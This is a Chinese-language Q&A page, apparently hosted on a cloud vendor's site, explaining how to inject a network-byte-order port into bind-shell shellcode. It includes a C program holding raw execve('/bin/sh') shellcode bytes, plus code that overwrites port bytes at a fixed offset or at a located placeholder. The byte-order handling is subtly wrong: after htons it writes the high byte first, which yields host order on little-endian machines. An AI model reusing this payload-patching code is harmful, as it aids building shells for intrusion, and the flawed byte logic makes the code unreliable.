You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

十六进制数转十六进制转义字符数组及Shellcode端口处理技术问询

动态注入端口到Shellcode的下一步方案

你已经搞定了端口参数的字节序转换这关键一步,接下来核心就是把这个网络字节序的端口值注入到你的Shellcode二进制序列中,下面是具体的实现思路和实操步骤:

核心逻辑

Shellcode本质是一段可执行的二进制指令,你需要找到其中原本硬编码端口的位置,然后用计算好的port值覆盖对应的两个字节(因为unsigned short是2字节长度)。

具体步骤

1. 定位Shellcode中的端口位置

首先得搞清楚你的Shellcode里,哪个位置是用来存放端口的。比如经典的绑定Shell Shellcode中,会有类似push 0x2823(对应9000的网络字节序)的指令,反汇编后能看到对应的字节段。

你可以用objdump工具反汇编Shellcode文件,或者用在线反汇编工具分析,找到端口对应的两个连续字节,记下它们在Shellcode数组中的偏移量(比如第15和16字节)。

2. 编写代码替换端口字节

把Shellcode定义成可修改的数组(一定要用unsigned char,加上volatile防止编译器优化导致替换失效),然后根据偏移量写入端口的两个字节:

#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>

int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <port>\n", argv[0]);
        return EXIT_FAILURE;
    }

    // 替换成你自己的Shellcode,这里用示例占位
    volatile unsigned char shellcode[] = 
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
        "\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; // 示例Shellcode,无端口,仅作演示

    // 这里替换成你实际找到的端口偏移量
    const int port_offset = 12; 

    // 转换端口为网络字节序
    unsigned short port = htons(atoi(argv[1]));
    printf("Network byte order port: 0x%04x (%d)\n", port, ntohs(port));

    // 写入端口字节到Shellcode
    shellcode[port_offset] = (port >> 8) & 0xFF;  // 高字节
    shellcode[port_offset + 1] = port & 0xFF;      // 低字节

    // 验证替换结果
    printf("Shellcode now has port bytes: 0x%02x 0x%02x\n", 
           shellcode[port_offset], shellcode[port_offset+1]);

    // 后续可以执行Shellcode或保存到文件
    return EXIT_SUCCESS;
}

3. 避坑注意事项

  • 内存权限问题:如果把Shellcode定义成const unsigned char,它会被放在只读内存段,替换时会触发段错误,所以必须用非const的数组,最好加上volatile。
  • 字节序验证:你提到port的值是2823,这里要注意:9000的主机字节序是0x2328,htons转换后网络字节序是0x2823(十进制10275),你可能混淆了转换结果?建议用printf输出port的十六进制值确认,避免后续注入错误。
  • 空字节问题:如果你的Shellcode用于需要避免空字节(\x00)的场景,要确保端口值不会产生空字节。比如端口不能是0(0x0000)、256(0x0100)这类,否则会导致Shellcode被截断失效。

更灵活的技巧:自动查找占位符

如果你不想手动计算偏移量,可以先在Shellcode里用特定的占位符(比如\xAA\xBB)代替硬编码端口,然后在代码中自动搜索这个占位符并替换:

// 搜索占位符的位置
unsigned char *port_ptr = (unsigned char*)memchr(shellcode, 0xAA, sizeof(shellcode)-1);
if (port_ptr != NULL && *(port_ptr + 1) == 0xBB) {
    *port_ptr = (port >> 8) & 0xFF;
    *(port_ptr + 1) = port & 0xFF;
} else {
    fprintf(stderr, "Placeholder not found in shellcode!\n");
    return EXIT_FAILURE;
}

这种方法不用手动记偏移,适配不同的Shellcode更方便。

内容的提问来源于stack exchange,提问作者Dibsyhex

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.22 09:01:15